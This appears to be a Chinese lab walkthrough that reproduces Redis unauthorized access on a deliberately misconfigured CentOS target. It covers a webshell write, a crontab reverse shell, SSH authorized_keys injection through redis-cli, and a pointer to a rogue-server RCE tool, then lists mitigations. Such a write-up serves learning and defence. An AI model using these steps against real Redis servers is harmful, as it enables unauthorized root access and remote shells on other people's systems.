Redis未授权访问漏洞复现及利用

  • 一、Redis相关介绍
  • 应用场景
  • 常用语法
  • 漏洞发现
  • 二、漏洞复现
  • 环境搭建
  • Centos 7 环境配置
  • 安装Apache
  • 安装PHP
  • 安装Redis
  • 漏洞利用准备
  • kali安装Redis
  • windows安装Redis
  • 三、未授权访问漏洞利用
  • webshell
  • 反弹shell
  • 写公钥
  • 主从复制RCE
  • 四、预防措施
  • 五、其他问题

一、Redis相关介绍

Redis是完全开源的,遵守BSD协议,是一个高性能的key-value数据库。

应用场景

在Java web中主要有两个应用场景:

  • 存储、缓存用的数据
  • 需要高速读写的场合使用它快速读写

常用语法

  • 连接命令(可远程操作,需要对配置文件进行更改)
redis-cli -h <host> -p <port> -a <password>

参数

含义

-h

主机IP

-P

主机端口

-a

Redis服务密码

  • set key value

设置指定的key值。key为自定义的变量名;value为赋值的内容,可以为数字,字符串。

  • get key

获取指定的key值

  • keys *

获取当前数据库中所有的key

  • config set dir /XXX/XXX/XX

设置工作目录,必须是绝对路径,而且已经存在

  • config set dbfilename xxx

设置备份文件名

  • save

进行备份

  • flushall

删除所有数据

漏洞发现

二、漏洞复现

整个过程中,使用的是Centos 7,Redis选择的是6.2.1版本。

环境搭建

Centos 7 环境配置

首先安装Apache和PHP,为后续的webshell做铺垫。

安装Apache
sudo yum -y install httpd

打开防火墙的80端口,允许访问

sudo firewall-cmd --permanent --zone=public --add-service=http
sudo firewall-cmd --reload

设置开机启动

sudo systemctl enable httpd

Apache的配置文件位于:/etc/httpd/conf中的httpd.conf文件

配置可以解析PHP,在配置文件中添加

<FilesMatch \.php$>
    SetHandler application/x-httpd-php
</FilesMatch>

重启Apache服务

systemctl restart httpd
安装PHP

因yum源中,不包含PHP相关内容,所以需要更改下yum源

sudo rpm -Uvh https://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm
sudo rpm -Uvh https://mirror.webtatic.com/yum/el7/webtatic-release.rpm

对yum源进行一下升级,更新一下软件包

sudo yum -y upgrade

安装PHP

sudo yum -y install php72w
sudo yum install php72w-common php72w-fpm php72w-opcache php72w-gd php72w-mysqlnd php72w-mbstring php72w-pecl-redis php72w-pecl-memcached php72w-devel

以上内容还包括了一些开发所使用的包,不用第二条命令应该也是可以的。

重启Apache服务

systemctl restart httpd

对上述环境进行一下验证

直接通过IP访问,出现下图说明Apache安装并配置成功

Redis服务 漏洞 redis漏洞利用_Redis_02

进入Apache默认网络应用路径/var/www/html,创建t.php文件,内容如下:

<?php echo phpinfo();?>

通过IP/t.php访问,出现下图,说明Apache已经可以解析PHP文件,并且PHP安装并配置成功。

Redis服务 漏洞 redis漏洞利用_安全漏洞_03

安装Redis
  • 升级GCC
sudo yum -y install centos-release-scl
sudo yum -y install devtoolset-9-gcc devtoolset-9-gcc-c++ devtoolset-9-binutils
sudo scl enable devtoolset-9 bash

可以用gcc --version来查看更新之后的版本

[root@localhost local]# gcc --version
gcc (GCC) 9.3.1 20200408 (Red Hat 9.3.1-2)
Copyright (C) 2019 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
  • 安装tcl
sudo yum install tcl
  • 安装Redis
wget https://download.redis.io/releases/redis-6.2.1.tar.gz
tar zxvf redis-6.2.1.tar.gz
cd redis-6.2.1/
make
make test	
make install

开放防火墙的Redis的服务端口,否则无法允许其他IP进行访问

sudo firewall-cmd --permanent --zone=public --add-service=redis
sudo firewall-cmd --reload
  • 配置Redis(允许远程链接,并且允许无密码登录)

配置文件目录:redis-6.2.1/文件夹中的redis.conf文件。

  1. 取消IP绑定,允许除主机之外的机器远程登录Redis

查看bind 127.0.0.1,前面是否有#,若没有则添加。

Redis服务 漏洞 redis漏洞利用_redis_04

  1. 关闭保护模式

protected-mode yes,修改为protected-mode no

在Redis3.2版本以前,不具备该参数,可以忽略。

Redis服务 漏洞 redis漏洞利用_redis_05


执行redis-server开启Redis服务,出现如下图内容,说明安装成功

Redis服务 漏洞 redis漏洞利用_Redis服务 漏洞_06


使用虚拟机的各位,记得保存快照哦!!!!!

漏洞利用准备

kali安装Redis

这里使用6.2.1版本也是没问题的,只不过我之前配好了6.0.3版本之后才发现还有6.2.1这个更新的版本。

wget http://download.redis.io/releases/redis-6.0.3.tar.gz
tar -zxvf redis-6.0.3.tar.gz
cd redis-6.0.3/
make
make test
cd src
cp redis-cli /usr/bin

执行make,make test都需要较长的时间,稍安勿躁。

以上命令全部执行完毕之后,打开两个终端,分别执行:

redis-server 
redis-cli

Redis服务 漏洞 redis漏洞利用_centos_07


Redis服务 漏洞 redis漏洞利用_Redis服务 漏洞_08

出现上述结果,在kali中安装Redis就是成功了。

windows安装Redis

微软老大哥已经为我们准备好了windows版的Redis,直接安装使用,或者解压即可。

链接:https://github.com/MicrosoftArchive/redis/releases

我在这里选择的是使用压缩包。

Redis服务 漏洞 redis漏洞利用_Redis服务 漏洞_09

解压后,在对应的目录下执行:

.\redis-server.exe redis.windows.conf

Redis服务 漏洞 redis漏洞利用_Redis服务 漏洞_10

出现上述结果,即使成功安装。

三、未授权访问漏洞利用

保持centos一直开始Apache、Redis的状态

操作机

IP

攻击机:kali

192.168.1.6

攻击机:win10

192.168.1.100

目标机:centos 7

192.168.1.11

centos7 开启Redis的时候需要执行

redis-server /usr/local/redis-6.2.1/redis.conf

通过使用上述命令,来通过配置文件的内容启动Redis服务。如果仅仅使用redis-serverprotected-mode的结果还是yes,将无法进行操作。

使用较低版本的Redis不会出现这一情况。

webshell

  1. 远程连接Redis

Redis服务 漏洞 redis漏洞利用_安全漏洞_11

  1. 写入webshell

Redis服务 漏洞 redis漏洞利用_安全漏洞_12

使用浏览器,访问192.168.1.11/shell.php,可以看到页面返回的内容,不过有一些乱码。

  1. 使用webshell管理工具进行连接

我这里选择使用的是蚂剑,如果其他的菜刀不行,可以多换几把刀,多试试。

Redis服务 漏洞 redis漏洞利用_centos_13

Redis服务 漏洞 redis漏洞利用_安全漏洞_14

可以看到蚁剑已经成功链接到了靶机。

反弹shell

  1. 创建定时任务

Redis服务 漏洞 redis漏洞利用_centos_15

  1. 开启nc,监听9999端口,耐心等待1分钟,查看靶机信息。

Redis服务 漏洞 redis漏洞利用_centos_16

写公钥

如果系统没有使用过root权限进行ssh登陆的话,是不存在/root/.ssh文件夹的。

首次需要执行sudo ssh localhost,输入root用户密码后,成功使用root权限进行ssh登陆,并自动创建.ssh文件夹

  • 创建、查看公钥
ssh-keygen -t rsa
cd /root/.ssh
cat id_rsa.pub
  • 在公钥前后添加空行,防止有其他数据污染,并重定向到一个新文件中(文件名可自由定义)
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/key.txt
  • 向目标机的Redis中写入key-value值(pubkey,可自由命名)
cat /tmp/key.txt | redis-cli -h 192.168.1.100 -p 6379 -x set pubkey

Redis服务 漏洞 redis漏洞利用_redis_17

  • 将公钥内容写在authorized_keys文件中

Redis服务 漏洞 redis漏洞利用_Redis_18

  • 攻击机采用ssh,远程登录到目标机

Redis服务 漏洞 redis漏洞利用_安全漏洞_19

需要退出ssh登录的话,使用命令logout

主从复制RCE

这里主要是使用redis-rogue-server的项目脚本,里面的使用情况说明的比较详细。

https://github.com/Dliv3/redis-rogue-server

因没有外网的vps,没有进行尝试。

四、预防措施

  • 尽可能使用稳定的高版本Redis
    在整个文档的记录过程中,尝试过从3.X版本到6.X版本,越新的版本对于默认配置更加的严格,甚至已经将protected-mode改为了no,如果仅仅使用redis-server启动服务,会自动将protected-mode变为yes
  • 谨慎修改配置文件,以白名单的形式来允许远程访问
  • 为Redis配置密码,使用密码进行登录
  • 在防火墙中设置好白名单和过滤
  • 修改服务的默认端口

五、其他问题

在整个过程中,也使用过ubuntu,但是反弹shell一直都无法正常的反弹。最终更换使用了centos7,反弹shell这一部分是没有问题的,可以的到正常的结果。

推测是因为ubuntu没有配置邮件服务导致的crontab没有正常执行,因个人技术有限,还是没能解决这一问题。欢迎大佬们多多交流。